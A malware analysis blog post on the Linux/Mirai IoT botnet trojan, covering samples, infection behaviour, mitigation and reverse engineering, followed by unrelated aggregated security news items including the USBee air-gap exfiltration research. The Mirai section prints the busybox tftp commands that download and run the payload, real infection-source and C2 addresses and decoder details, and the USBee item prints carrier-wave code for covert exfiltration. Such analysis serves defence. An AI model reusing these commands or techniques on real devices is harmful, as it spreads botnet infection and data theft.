MMD-0056-2016 - Linux/Mirai, how an old ELF malcode is recycled..

Background

From August 4th 2016 several sysadmin friends were starting to upload this malware files to our dropbox. The samples waren't easy to retrieve, so there are good ones and also some broken ones, I listed in this post for the good ones. This threat is made by the ELF trojan backdoor, the name of the binary is "mirai.*" and is having telnet attack function to other boxes.

As I see those samples as something new, it would be good to start to write analysis for the purpose to raise awareness of this threat widely, since the attacks are actively spotted in the wild on plenty of infected IoT network. During the checks I discussed about the threat to the engineer friends in ETLabs,[links] and also to our supporters who reported this threat directly.

ELF Linux/Mirai is currently having a very low ELF/Linux antivirus detection ratio, even in the architecture of x86. The detection in VT for the collected multiplatform samples can be viewed in the several links below:
Linux/Mirai ITW samples: [link] [link] [link] [link] [link] [link] [link] [link]
The reason for the lack of detection is because of the lack of samples, which are difficult to fetch from the infected IoT devices, routers, DVR or WebIP Camera, the Linux with Busybox embedded platform that this threat is aiming.

The threat information

The binaries are collected from multiple direct/indirect sources:


mirai.arm: ELF 32-bit LSB executable, 'ARM', version , statically linked, stripped
mirai.arm7: ELF 32-bit LSB executable, 'ARM, EABI4' version 1 (SYSV), statically linked, stripped
mirai.mips: ELF 32-bit MSB executable, 'MIPS, MIPS-I' version 1 (SYSV), statically linked, stripped
mirai.ppc: ELF 32-bit MSB executable, 'PowerPC or cisco 4500', ver 1 (SYSV), statically linked, stripped
mirai.sh4: ELF 32-bit LSB executable, 'Renesas SH', version 1 (SYSV), statically linked, stripped
mirai.sparc: ELF 32-bit MSB executable, 'SPARC', version 1 (SYSV), statically linked, stripped
mirai.x86: ELF 32-bit LSB executable, 'Intel 80386', version 1 (SYSV), statically linked, stripped

I picked up the ELF binary in ARM architecture for my main reversing since the it was the first ELF appeared, Doing the cross reference with the MIPS, PPC and Sparc ELF ones for the details. In this case, I use plenty of usual tools, nothing fancy or special.

The hash of the Linux/Mirai initial binaries spotted:


MD5 (mirai.arm) = b98bc6ab2ed13028cd5178c422ec8dda
MD5 (mirai.arm7) = 33987c397cefc41ce5e269ad9543af4c
MD5 (mirai.mips) = 8e36a1fb6f6f718ec0b621a639437d8b
MD5 (mirai.ppc) = e08befb4d791e8b9218020292b2fecad
MD5 (mirai.sh4) = 030159a814a533f30a3e17fe757586e6
MD5 (mirai.sparc)= ac61ba163bffc0ec94944bb7b7bb1fcc
MD5 (mirai.x86) = 6b7b6ee71c8338c030997d902a2fa593
Thank you to a friend who helped much.

These binaries were infected to the compromised Linux system's SSH or Telnet account (via default password flaw on specific IoT aimed). Upon the shell access gained, the attacker will download the payload of this malware to the Linux device by command traced like below:


'busybox tftp' -r [MalwareFile] -g [IPsource]
'busybox tftp' -g -l 'dvrHelper' -r [MalwareFile] [IPsource]
The source of infection (by current download & connection trace)

5.206.225.96 | |49349 | 5.206.225.0/24 | DOTSI | PT | tuganet.pt | Dotsi Unipessoal Lda.
151.80.99.84 | ns395732.ip-151-80-99.eu. |16276 | 151.80.0.0/16 | OVH | FR | ovh.com | OVH SAS

The infection

In some cases of the Linux/Mirai infection is showing traces that the malware was executed without parameter and there are cases where the downloaded malware file(s) is deleted after execution. In this case mostly you won't get the samples unless you dump the malware process to the ELF binary. This explains it is hard to get the good working samples for this new threat.

During the execution, the malware will open the /etc/watchdog file in read-write state with the command:


open("/dev/watchdog", O_RDWR)
And will change the work directory to the root directory:

chdir("/")
It uses PF_INET socket it is opening UDP/53 port to access Google DNS server in 8.8.8.8 and established a connection.

connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16)
The malware will detect the outbound interface and by re-using previous used socket it opens a random TCP/port to the IP address. If the process above succeed malware will close the socket afterward

getsockname(3, {sa_family=AF_INET, sin_port=htons(39221), sin_addr=inet_addr("YOUR-IP")}, [16])
close(3)

At this point the malware is performing several decoding for strings, which will be resulted in the targeted malware file name (below) and several random names.


0xbf96daa4 0000 0000 0000 0000 0000 0000 0000 ..............
0xbf96dab2 0000 2e2f 6476 7248 656c 7065 7200 ..'/dvrHelper'.
0xbf96dac0 0000 0000 0000 0000 0000 0000 0000 ..............
The file will be the copy of the malware under /dev/.{Something}/dvrHelper with piping the stdout and stderr on execution made to /dev/null (for silent mode execution).

The /etc/watchdog execution is meant for making the delay, for the malware not to perform the bad function instantly to avoid the early detection, and it just sit there and make sure the malicious opened backdoor port is up and used. The mentioned {Something} is the keyword generated by the malware, in example path: /dev/.anime/drvHelper

Upon execution the malware will be self-deleted to avoid the trace, but the process is running. In some IoT that can be seen in lsof or the list to the /proc with specific PID, i.e.:


/proc/{PID}/exe -> '/dev/.{something}/dvrHelper' (deleted)
/proc/{PID}/exe -> './{long alphabet strings}' (deleted)

In this stage, the networking process continues, the malware is opening PF_INET socket for TCP, and bind it to the specific port (not random) TCP/48101 from localhost IP address 127.0.0.1 and then starting to listen to the incoming connection:


socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
bind(3, {sa_family=AF_INET, sin_port='htons(48101'), sin_addr=inet_addr("127.0.0.1")}, 16)
listen(3, 1)

By this stage the system-wide realtime clock will be queried (triggered by random) along with the retrieval set of PID, following by start forking, noted the following clocktest output and the stdout of "NULL\n"


clock_gettime(CLOCK_REALTIME, {1472261021, 649262704}.
getpid() // // see the reverse engineering part...
getppid()
clock_gettime(0x2 /* CLOCK_??? */, {0, 6215000})
prctl(PR_SET_NAME, 0xbef89752, 0xbef897b8, 0xbef897c8, 0)
write(1, NULL, 0)
write(1, "\n", 1)
fork()
Notes:

- forking always starts if infection possible.
- The "NULL\n" is for the execution trace of the watchdog via execl(parse to
environment in execve).

Then this main process will exit here. and forked to new process PID (note: If you go this far means the malware can infect your system).

For some infection case the malware is self connected to its opened TCP/48101 & will continuously looping without making any forks, in this case you won't get infection:

 
connect(4, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("0.0.0.0")}, 16}
List of files will show. it's showing the access port for the nodes.

IPv4 5629 0t0 TCP 127.0.0.1:'48101 (LISTEN)'
IPv4 5670 0t0 TCP 127.0.0.1:60254->'127.0.0.1:48101 (ESTABLISHED)'

In the forked process, upon the attack command can be triggered, the infected device will perform connection on telnet services on other device for the abuse purpose:


socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
connect(6, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr("x.x.x.x")}, 16)
sendto(7, "\377\374\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\374!", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\375\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\375\3", 3, MSG_NOSIGNAL, NULL, 0)
recvfrom(0, "E\0\0(\276~@\0001\6t\342\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\214".
recvfrom(0, "E\0\0004>J@\0*\6\fbj\375(g\300\250\262\v\0\27\243\375P\351\2211m\4\322o"..
recvfrom(0, "E\0\0(\276\177@\0001\6t\341\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\344"..
recvfrom(0, "E\0\0(\276\200@\0001\6t\340\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3426,"..
recvfrom(0, "E\0\0,\0\0@\0.\6\216=I\213\2P\300\250\262\v\0\27\311gH\31\23\320I\213\2Q".
And doing the backdoor to connect via HTTP on 65.222.202.53.
connect(0, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("65.222.202.53")}, 16)

Mitigation method of Linux/Mirai infection

Picking a right ELF is important..

You'll find so little indicator and some encoded strings in the ARM binary. But there is no problem. First you should pick the clean ELF, it has the characteristic like the below:


ELF Header:
Magic: 7f 45 4c 46 01 01 01 61 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: ARM
ABI Version: 0
Type: EXEC (Executable file)
Machine: ARM

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x00008000 0x00008000 0x0dbb4 0x0dbb4 R E 0x8000
LOAD 0x00e004 0x0001e004 0x0001e004 0x001d4 0x05a84 RW 0x8000
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Section to Segment mapping:
Segment Sections...
00 .init .text .fini .rodata
01 .ctors .dtors .data .bss
That's it for the available header & sections reading.

From each of Linux.Mirai ELF file clean state like above, it has significant strings that can be filtered by signatures:


/dev/watchdog
'LCOGQGPTGP'
/proc/stat
/proc/cpuinfo
processor
/sys/devices/system/cpu
/dev/null
If you are in the Linux box, non DVR or busybox IoT type, block the below shown string too..if came up in your memory from an unknown executables is also good to kill the chance of infection:

In rare occasion for infection of Linux/Mirai will connect you back to this MUD game site, blocking its IP is good for protection:

The site is showing the asciiart Mirai logo,..

Blocking the used TCP/48101 port if you don't use it, it's good to prevent infection & further damage:


mirai 29557 toor 3u IPv4 386807 0t0 "TCP 127.0.0.1:48101 (LISTEN)"
mirai 29557 toor 4u IPv4 504795 0t0 "TCP 127.0.0.1:44424->127.0.0.1:48101 (ESTABLISHED)"

The other method is to secure your busybox execution to be run only on specific user. You'll need shell access for this operation, along with other hardening methods. The most important thing to prevent the infection is: if you have an IoT device, please make sure you have no telnet service open and running.

Reversing Linux/Mirai (ARM) in binary way

The binary is reversible, but it's a bit "heavily stripped" and has double function for decoders, so it is not that easy to read, but it's fine. You'll see some important "artifacts" like these "case-switch" they coded to perform attack:

If you trace it carefully all of origin for strings used in encoded binary can be read like this:

Decoder


// just to get the idea...what is cracked..

fn.0x0000f9e8(var3, (int)"\rRPMA\r\"", 7);
fn.0x0000f9e8(var4, (int)"\rGZG\"", 5);
fn.0x0000f9e8(var7, (int)"jvvrdnmmf\"", 10);
fn.0x0000f9e8(var8, (int)"nmnlmevdm\"", 10);
fn.0x0000f9e8(var10, (int)"XMNNCPF\"", 8);
fn.0x0000f9e8(var11, (int)"egvnmacnkr\"", 11);
fn.0x0000f9e8(var14, (int)"QJGNN\"", 6);
fn.0x0000f9e8(var15, (int)"[email protected]\"", 7);
fn.0x0000f9e8(var16, (int)"Q[QVGO\"", 7);
:
fn.0x0000f9e8(var17, (int)"QJ\"", 3);
fn.0x0000f9e8(var20, (int)"LAMPPGAV\"", 9);

// One decoder in fn.0x0000f9e8

| 0x0000f9e8 000052e3 cmp r2, 0
| 0x0000f9ec 0ef0a001 moveq pc, lr
| 0x0000f9f0 00c0a0e3 mov ip, 0
| ; JMP XREF from 0x0000fa04 (fcn.0000f9e8)
| .-> 0x0000f9f4 0130d1e4 ldrb r3, [r1], 1
| | 0x0000f9f8 0030cce7 strb r3, [ip, r0]
| | 0x0000f9fc 01c08ce2 add ip, ip, 1
| | 0x0000fa00 02005ce1 cmp ip, r2
| `=< 0x0000fa04 faffff1a bne 0xf9f4
\ 0x0000fa08 0ef0a0e1 mov pc, lr

So the usual reversing method can be done to this ELF malware with using any of your flavor reversing tool that can support ELF reading in little endian. (Well, by know you all know what our chosen reversing tool is). I will not say much about this, since all of the previous posts are showing much of this method, but let me explain a new method with the details in the next section.

Reversing Linux/Mirai (stripped ARM) to its source code

I've been working with my personal project called "skeleton", with the goal is an open source to form the ELF binary into as close as possible to the original state. If a known binary is analyzed by "skeleton", it's not interesting and that's not the point of this tool, so this ARM binary is a good chance to test it :-).

Firstly, the simple explanation of "skeleton" concept can be seen in the figure below, a self-explanatory:

Skeleton is analyzing the all inputted malware library you have, and check the new binary by fistly analyzing the calls made on the sample. For example, in the Linux/Mirai this is the statistic of used syscall:

Then the tool is parsed by radare2 assembly dump of the malware, and after some process I can not say openly here, receiving a not-bad result. The result is not 100% looks like the original source code. Specially if you are reversing this from ARM processor which many variable declaration will be passed more steps through registers than Intel, but it will get you into an idea of what kind of code that's actually responsible for this badness.

..And I was not surprised when I saw that ELF Linux/Mirai was actually showing many part of codes as similar as GayFgt/Torlus/Lizkebab or Bash0day/Bashdoor/BashLite.
Reference about GayFgt/Torlus/Lizkebab [link] Below are the screenshots of the skeleton result after being "beautified" a bit :D

The cracked functions:

Putting all together in the main() :)

The case-switch used for abuse action trigger, looks like Torlus/GayFgt recoded version to me..

Obviously same style too, lol :-)

The thing about reverse engineering is, you always can taste a same stuff coded from a same person.

The conclusion

  • EL/Mirai is the next version of what they called it as "GayFgt/LizKebab/Torlus" or what we call it as "Bash0day, Bashdoor, or Bashlite".
  • This malware is designed to infect telnet, as the cushion for further hacks, and targeting DVR (hint /dvrHelper)
  • The only significant addition is the stripping combined with encoded strings thus added with some busybox/watchdog delay
  • The delay in activation of the malware and the CNC different port used is not changing the basic of communication protocol of what previous malware has.
  • The same group of skiddo actors who coded GayFgt are the one responsible for this malware, facts are supporting this assumption with the same MP of attack via telnet, hacktivism involved, same trace of coding style.
  • The traffic filtration for this threat is provided thoroughly by IDS/IPS filtration by ETLabs, kudos hard working engineers!
  • One last thing... We still have a better KungFu kiddo :)

    #MalwareMustDie!
    Written and analyzed by @unixfreaxjp [link], August 31st 2016.

  • How one man could have owned GitHub, and what happened next…

    A blundering Certificate Authority called "WoSign" is causing consternation amongst Mozilla's security policy team.

    Dropbox hack leads to 68 million passwords dumped online

    Dropbox is pushing password changes to users after millions of account details are released online.

    3 tips for better security and privacy on Snapchat

    Share your Snapchat story safely with our tips for improving your security and privacy on the messaging app.

    Dropbox Hacked – 68 Million User Accounts Compromised

    So was Dropbox Hacked? There was some rumours going around last week after it sent out a password reset e-mail warning to all users. It seems like it’s limited to users who were active in 2012 and the only ones who would be in trouble are as usual, those who haven’t changed their password since […] The post Dropbox Hacked – 68 Million...

    Read the full post at darknet.org.uk

    Dropbox Hacked — More Than 68 Million Account Details Leaked Online

    Hackers have obtained credentials for more than 68 Million accounts for online cloud storage platform Dropbox from a known 2012 data breach. Dropbox has confirmed the breach and already notified its customers of a potential forced password resets, though the initial announcement failed to specify the exact number of affected users. <!-- adsense --> However, in a selection of files obtained

    USBee exfiltrates data from air-Gapped networks via electromagnetic emission from USB

    A group of Israeli researchers has devised a new technique dubbed USBee to hack air-gapped networks and exfiltrate information.

    Mordechai Guri, head of  R&D at Ben-Gurion’s Cyber Security Center and the chief scientist officer at Morphisec Endpoint Security, and his team have devised a new technique dubbed USBee to hack air-gapped networks and exfiltrate information.

    This time, the Israel researchers exploited covert-channel via electromagnetic emission from USB. The USBee technique leverages USB connectors implanted with RF transmitters to steal sensitive data.

    In this scenario, the USBee application is installed on a compromised computer. The attacker exploits a USB thumb drive already connected to the computer and establish a short-range RF transmission modulated with data. On the other end of the communication, the data transmitted are received by a nearby receiver and decoded.

    USBee

    “In recent years researchers have demonstrated how attackers could use USB connectors implanted with RF transmitters to exfiltrate data from secure, and even air-gapped, computers (e.g., COTTONMOUTH in the leaked NSA ANT catalog). Such methods require a hardware modification of the USB plug or device, in which a dedicated RF transmitter is embedded.” reads the introduction to the paper published by the experts. “In this paper we present USBee, a software that can utilize an unmodified USB device connected to a computer as a RF transmitter. We demonstrate how a software can intentionally generate controlled electromagnetic emissions from the data bus of a USB connector. We also show that the emitted RF signals can be controlled and modulated with arbitrary binary data. We implement a prototype of USBee, and discuss its design and implementation details including signal generation and modulation. We evaluate the transmitter by building a receiver and demodulator using GNU Radio. Our evaluation shows that USBee can be used for transmitting binary data to a nearby receiver at a bandwidth of 20 to 80 BPS (bytes per second).”

    The researchers discovered that the transmission of a sequence of ‘0’ bits to a USB port generates a detectable emission between 240ℎ and 480ℎ. The researchers exploited this mechanism by sending data from the compromised computer to a USB device in order to generate controllable EMR that can carry modulated data. The researcher used a nearby RF receiver to receive the EMR and decode the information.

    Guri and his team were able to exfiltrate 80 bytes per second using this technique, a transmission speed that could an attacker to send out a 4,096-bit crypto key in less than 10 seconds, very interesting when hacking air-gapped networks if compared with other hacking techniques.

    The experts explained that it is possible to create a basic carrier wave using this algorithm:

    inline static void fill_buffer_freq
    (u32 *buf, int size, double freq)
    {
      int i = 0;
      u32 x = 0;
      double t = freq / 4800 * 2;
      for (i = 0, x = 0x00000000; i<size*8; i++)
      {
        x = x<<1;
        if ((int)(i*t)%2==0)
          x++;
        if((i%32)==31)
        {
          *(buf++) = x;
          x=0x00000000;
        }
      }
    }
    

    The transmission starts when the application writes the fill_buffer_freq to an arbitrary data block in the USB device, the application just requires the permission to create a file on the device.

    “The actual data transmission is done by writing the byte pattern generated by fill_buffer_freq to an arbitrary data block or stream in the USB device. For our purposes, we used a temporary file within the USB thumb drive’s file system. The transmission process doesn’t require special privileges (e.g., root or admin). It only requires permission to create a file on the removable device.” reads the paper.

    The researchers also published a video PoC of the attack that shows how the data is exfiltrated by a laptop with a $30 radio antenna from around 15 feet away.

    Pierluigi Paganini

    (Security Affairs – Air-Gapped network, USBee)

    The post USBee exfiltrates data from air-Gapped networks via electromagnetic emission from USB appeared first on Security Affairs.

    Runaway teen hops on Facebook to ask police to use nicer mugshot

    Who can blame her? The photo she sent police looks like it came from a much happier time.

    Penetration Testing: Career Path, Salary Info, and More

    Concern about attempts by hackers to gain access to IT infrastructures, networks, and systems is on the rise. Companies, obviously, are always on the lookout for solutions to curb the problem through their IT security staff or through external consulting companies that can help them assess the resilience of their IT structure. As the IT […]

    The post Penetration Testing: Career Path, Salary Info, and More appeared first on InfoSec Resources.

    Code Injection and Its Types- Part 1

    In this article, we will take a look at the code injection techniques. We will take a look at remote DLL injection, remote code injection, Reflective DLL injection and Hollow Process Injection. We will also take a look at ways to detect them. First, we need to understand how legitimate executables run in windows. Legitimate […]

    The post Code Injection and Its Types- Part 1 appeared first on InfoSec Resources.